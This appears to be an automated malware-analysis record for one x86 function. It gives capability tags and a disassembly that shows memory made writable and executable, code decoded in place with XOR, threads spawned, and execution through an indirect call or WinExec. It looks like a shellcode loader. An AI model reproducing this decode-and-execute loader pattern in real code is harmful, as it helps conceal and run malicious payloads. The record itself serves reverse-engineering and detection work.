Function at 0x433b00
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, eax
push esi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
mov dword [0x440ae8], eax
jbe 0x433b46
cmp byte [eax + esi], 0x22
jne 0x433b30
mov byte [eax + esi], 0
mov eax, dword [0x440ae8]
cmp byte [eax + esi], 0x5c
je 0x433b40
dec eax
mov dword [0x440ae8], eax
jne 0x433b21
jmp 0x433b46
inc eax
mov dword [0x440ae8], eax
mov eax, dword [eax + esi]
push 0x440aec
push 0x40
push 0x10
push fcn.00433d60
mov dword [0x440b10], eax
mov dword [0x440b24], 0x433d60
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [0x440b24]
mov ecx, dword [0x440b10]
push 0
push 0
mov ebx, dword [eax]
push 0
xor ebx, ecx
push 0
mov dword [eax], ebx
mov eax, dword [0x440b24]
mov edx, dword [0x440b10]
mov edi, dword [eax + 4]
xor edi, edx
mov dword [eax + 4], edi
mov eax, dword [0x440b24]
mov ecx, dword [0x440b10]
mov edx, dword [eax + 8]
xor edx, ecx
mov dword [eax + 8], edx
mov eax, dword [0x440b24]
mov edx, dword [0x440b10]
xor dword [eax + 0xc], edx
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push 0x440b14
push 0
push esi
push 0x434250
push 0
push 0
mov dword [0x440af8], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov dword [0x440b20], eax
mov eax, dword [0x440af8]
push 0x63
push eax
call ebx
mov ecx, dword [0x440c58]
mov edx, dword fs:[0x2c]
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [edx + ecx*4]
mov ecx, dword [0x440060]
mov eax, dword [esi + 4]
lea edi, [esi + 8]
push edi
push ecx
mov dword [0x440aec], eax
call ebp
mov eax, dword [0x440b24]
mov edx, dword [0x440b10]
mov ecx, dword [eax]
xor ecx, edx
mov dword [eax], ecx
mov eax, dword [0x440b24]
mov ecx, dword [0x440b10]
mov edx, dword [eax + 4]
xor edx, ecx
mov dword [eax + 4], edx
mov eax, dword [0x440b24]
mov edx, dword [0x440b10]
mov ecx, dword [eax + 8]
xor ecx, edx
mov dword [eax + 8], ecx
mov eax, dword [0x440b24]
mov ecx, dword [0x440b10]
mov edx, dword [eax + 0xc]
xor edx, ecx
mov dword [eax + 0xc], edx
mov edx, dword [0x440b10]
mov eax, dword [0x440ae4]
add eax, edx
test eax, eax
jne 0x433d22
mov ecx, dword [0x440ae4]
push 0
inc ecx
push 0
mov dword [0x440ae4], ecx
mov ecx, dword [0x440b14]
push 0x7000
push ecx
call dword [sym.imp.USER32.dll_PostThreadMessageA]
mov edx, dword [0x440af8]
push 0x63
push edx
call ebx
mov ecx, dword [0x440060]
mov eax, dword [esi + 4]
push edi
push ecx
mov dword [0x440aec], eax
call ebp
mov eax, dword [0x440b24]
mov edx, dword [0x440b10]
mov ecx, dword [eax]
xor ecx, edx
mov dword [eax], ecx
mov eax, dword [0x440b24]
mov ecx, dword [0x440b10]
mov edx, dword [eax + 4]
xor edx, ecx
mov dword [eax + 4], edx
mov eax, dword [0x440b24]
mov edx, dword [0x440b10]
mov ecx, dword [eax + 8]
xor ecx, edx
mov dword [eax + 8], ecx
mov eax, dword [0x440b24]
mov ecx, dword [0x440b10]
mov edx, dword [eax + 0xc]
xor edx, ecx
mov dword [eax + 0xc], edx
mov edx, dword [0x440b10]
mov eax, dword [0x440ae4]
add eax, edx
test eax, eax
je 0x433c80
mov ecx, dword [0x440b20]
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [0x440b10]
pop edi
pop esi
pop ebp
test eax, eax
pop ebx
jne 0x433d51
mov edx, dword [esp]
push 1
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
xor eax, eax
pop ecx
ret 0x10
call fcn.00433d60
xor eax, eax
pop ecx
ret 0x10